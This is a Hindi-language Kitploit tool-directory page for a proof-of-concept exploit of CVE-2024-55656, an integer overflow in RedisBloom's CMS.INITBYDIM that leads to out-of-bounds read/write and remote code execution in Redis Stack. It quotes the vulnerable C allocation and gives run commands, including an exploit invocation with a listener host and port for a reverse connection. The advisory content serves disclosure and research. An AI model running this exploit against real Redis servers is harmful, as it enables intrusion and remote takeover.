Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
redis-stack-CVE-2024-55656 — CVE-2024-55656 के लिए प्रूफ-ऑफ-कॉन्सेप्ट शोषण, RedisBloom में एक पूर्णांक अतिप्रवाह जो हीप-आधारित OOB रीड/राइट और Redis Stack 7.2.0-v10 में रिमोट कोड एक्ज़ीक्यूशन की ओर ले जाता है। | Kitploit
उपकरण/GitHubGitHub/rick2600/redis-stack-cve-2024-55656
मेमोरी फोरेंसिकभेद्यता विश्लेषणशोषणपेनिट्रेशन टेस्टिंगडेटाबेस सुरक्षाबाइनरी शोषण
GitHubrick2600/redis-stack-cve-2024-55656

redis-stack-CVE-2024-55656

CVE-2024-55656 के लिए प्रूफ-ऑफ-कॉन्सेप्ट शोषण, RedisBloom में एक पूर्णांक अतिप्रवाह जो हीप-आधारित OOB रीड/राइट और Redis Stack 7.2.0-v10 में रिमोट कोड एक्ज़ीक्यूशन की ओर ले जाता है।

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
रिपॉजिटरी देखें
41 साल पहलेअभी तक समीक्षित नहीं

CVE-2024-55656 - Redis Stack - RedisBloom पूर्णांक अतिप्रवाह दूरस्थ कोड निष्पादन भेद्यता

  • शीर्षक: Redis Stack RedisBloom पूर्णांक अतिप्रवाह दूरस्थ कोड निष्पादन भेद्यता
  • ZDI: ZDI-25-009
  • CVE: CVE-2024-55656
  • क्रेडिट: rick2600 और gqsilva
  • CVSS: 8.8 (उच्च)
  • प्रभावित संस्करण: Redis Stack 7.2.0-v10 के साथ भेजा गया RedisBloom v2.6.12

विश्लेषण (संक्षिप्त संस्करण)

RedisBloom (https://github.com/RedisBloom/RedisBloom) में एक पूर्णांक अतिप्रवाह भेद्यता है, जो redis (https://redis.io/docs/latest/develop/data-types/probabilistic/bloom-filter/) में उपयोग किया जाने वाला एक मॉड्यूल है। यह पूर्णांक अतिप्रवाह भेद्यता एक हमलावर (एक redis क्लाइंट जो पासवर्ड जानता है) को रैपअराउंड के कारण आवश्यक मेमोरी से कम हीप मेमोरी आवंटित करने की अनुमति देती है। फिर इस आवंटित मेमोरी से परे पढ़ा और लिखा जा सकता है, जिससे जानकारी लीक और OOB लिखना होता है।

पूर्णांक अतिप्रवाह CMS.INITBYDIM कमांड में है, जो उपयोगकर्ता द्वारा निर्दिष्ट आयामों के लिए काउंट-मिन स्केच प्रारंभ करता है। यह दो मान (width और depth) स्वीकार करता है और NewCMSketch() में मेमोरी आवंटित करने के लिए उनका उपयोग करता है।

फ़ाइल: src/cms.c

root@kitploit:~
CMSketch *NewCMSketch(size_t width, size_t depth) {
    assert(width > 0);
    assert(depth > 0);

    CMSketch *cms = CMS_CALLOC(1, sizeof(CMSketch));

    cms->width = width;
    cms->depth = depth;
    cms->counter = 0;
    cms->array = CMS_CALLOC(width * depth, sizeof(uint32_t));

    return cms;
}

OOB पढ़ना CMS_Query() में कार्यान्वित CMS.QUERY कमांड के माध्यम से प्राप्त किया जाता है।

OOB लिखना CMS_IncrBy() में कार्यान्वित CMS.INCRBY कमांड के माध्यम से प्राप्त किया जाता है।

पूर्ण विश्लेषण के लिए सलाहकार देखें।

प्रमाण-अवधारणा

  1. redis-stack प्रारंभ करें

docker run -p 6379:6379 --name redis-stack redis/redis-stack:7.2.0-v10

  1. एक्सप्लॉइट चलाएं

python exploit.py --host 172.17.0.2 --port 6379 --lhost 172.17.0.1 --lport 4444

संदर्भ

  1. https://www.zerodayinitiative.com/advisories/ZDI-25-009/
  2. https://github.com/RedisBloom/RedisBloom/security/advisories/GHSA-x5rx-rmq3-ff3h
  3. https://redis.io/blog/security-advisory-cve-2024-46981-cve-2024-51737-cve-2024-51480-cve-2024-55656/
टूल डाउनलोड करें